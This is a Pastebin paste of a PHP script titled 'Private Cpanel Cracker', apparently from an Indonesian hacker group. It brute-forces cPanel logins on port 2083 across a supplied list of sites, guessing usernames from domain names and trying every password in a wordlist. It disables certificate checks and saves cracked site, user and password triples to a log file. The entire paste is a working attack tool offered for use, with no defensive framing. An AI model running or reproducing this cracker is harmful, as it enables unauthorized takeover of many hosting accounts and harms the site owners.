Advertisement
jackwiel_chan

zxgans

Oct 16th, 2019
326
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.48 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3.  
  4. /********************************************************************
  5. * Private Cpanel Cracker
  6. * ./zXc0d3_-
  7. * zx666host@hackers.id
  8. * anonexploiters45.id
  9. *********************************************************************/
  10.  
  11. class cracker
  12. {
  13.  
  14.     public  $sitelist;
  15.     public  $passlist;
  16.    
  17.     public function calis()
  18.     {
  19.             $usernames      =   $this->make_username();
  20.             $sitelist       =   explode("\n",$this->openfile($this->sitelist));
  21.             $passlist       =   explode("\n",$this->openfile($this->passlist));
  22.             $increment = 0;
  23.            
  24.             echo "\n\n[*]Site list -> $this->sitelist\n";
  25.             echo "[*]Pass list -> $this->passlist\n";
  26.             echo "[*]Total urls -> ".count($sitelist)."\n";
  27.             echo "[*]Total pass -> ".count($passlist)."\n";
  28.             echo "[*]Cracking started\n\n";
  29.            
  30.             foreach($sitelist as $id => $site)
  31.             {
  32.             $increment++;
  33.             $site = trim($site);
  34.             echo "-------------------------------------------------------\n";
  35.             echo "[*]Trying site: ".$site." $increment / ".count($sitelist)."\n";
  36.             if(eregi('http',$site)){
  37.             $site = str_replace("http://","https://",$site);
  38.             }else{
  39.             $site = "https://$site";
  40.             }
  41.             $site= $site.":2083";
  42.            
  43.             if(!$this->pass_site($site))
  44.             {
  45.             echo "[-]TIDACK ADA CPANEL NA ANJENG\n";
  46.             echo "-------------------------------------------------------\n\n";
  47.             continue;
  48.             }
  49.  
  50.             echo "[*]Connected Cpanel [OK]\n";
  51.             echo "[*]Username: ".$usernames[$id]."\n";
  52.             echo "[*]Loaded ".count($passlist)." passwords\n";
  53.             echo "[*]Coded by Miyachung ||| Janissaries.Org\n";
  54.                 foreach($passlist as $pass)
  55.                 {
  56.                     $cracked = false;
  57.                    
  58.                     $pass=trim($pass);
  59.                    
  60.                     $result = $this->post($site,$usernames[$id],$pass);
  61.                    
  62.                     if(preg_match('/security_token/',$result))
  63.                     {
  64.                     $cracked = true;
  65.                     echo "[+]$pass password cracked for $usernames[$id]\n";
  66.                     echo "-------------------------------------------------------\n\n";
  67.                     $this->savefile("$site|$usernames[$id]|$pass");
  68.                     break;
  69.                     }
  70.                    
  71.                 }
  72.             if(!$cracked){echo "[-]KAGAK ADA ANJENG\n";echo "-------------------------------------------------------\n\n";}
  73.             }
  74.    
  75.     }
  76.    
  77.     private function make_username()
  78.     {
  79.             $op = explode("\n",$this->openfile($this->sitelist));
  80.             foreach($op as $site)
  81.             {
  82.            
  83.             if(eregi('http://',$site)) $site  = str_replace("http://","",$site);
  84.             if(!eregi('www',$site))    $site  = "www.".$site;
  85.            
  86.             $site   =   explode(".",$site);
  87.             $site   = str_replace("-","",$site[1]);
  88.            
  89.             $usernames[] = substr($site,0,8);
  90.            
  91.             }
  92.             return $usernames;
  93.     }
  94.    
  95.     public function lists()
  96.     {
  97.             echo "[!]Site list: ";
  98.             $sitelist = fgets(STDIN);
  99.             $sitelist = str_replace("\r\n","",$sitelist);
  100.             $sitelist = trim($sitelist);
  101.             echo "[!]Pass list: ";
  102.             $passlist = fgets(STDIN);
  103.             $passlist = str_replace("\r\n","",$passlist);
  104.             $passlist = trim($passlist);
  105.            
  106.             return array($sitelist,$passlist);
  107.     }
  108.    
  109.     private function post($site,$user,$pass)
  110.     {
  111.             $curl = curl_init();
  112.             curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
  113.             curl_setopt($curl,CURLOPT_URL,$site."/login/?login_only=1");
  114.             curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,0);
  115.             curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);
  116.             curl_setopt($curl,CURLOPT_TIMEOUT,7);
  117.             curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
  118.             curl_setopt($curl,CURLOPT_POST,1);
  119.             curl_setopt($curl,CURLOPT_POSTFIELDS,"user=$user&pass=$pass");
  120.             $exec = curl_exec($curl);
  121.             return $exec;
  122.     }
  123.    
  124.     private function pass_site($site)
  125.     {
  126.             $curl = curl_init();
  127.             curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
  128.             curl_setopt($curl,CURLOPT_URL,$site);
  129.             curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,0);
  130.             curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);
  131.             curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
  132.             curl_setopt($curl,CURLOPT_TIMEOUT,7);
  133.             $exec = curl_exec($curl);
  134.             $info = curl_getinfo($curl);
  135.            
  136.             if($info['http_code'] != 0)
  137.             {
  138.             return true;
  139.             }
  140.             else
  141.             {
  142.             return false;
  143.             }
  144.    
  145.     }
  146.    
  147.     private function openfile($file)
  148.     {
  149.             $file = @file_get_contents($file);
  150.             if(!$file) exit("WTF File not found ?");
  151.             return $file;
  152.     }
  153.    
  154.     private function savefile($content)
  155.     {
  156.             $file = fopen('crackerlog.txt','ab');
  157.             fwrite($file,$content."\r\n");
  158.             fclose($file);
  159.             return $file;
  160.     }
  161.  
  162. }
  163.  
  164. $class                  =       new cracker();
  165. $lists                  =       $class->lists();
  166.  
  167.             if(empty($lists[0]) || empty($lists[1])) exit("LAH KOK KGK ADA HILANG ANJING");
  168.            
  169. $class->sitelist        =       $lists[0];
  170. $class->passlist        =       $lists[1];
  171. $class->calis();
  172.  
  173.  
  174. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement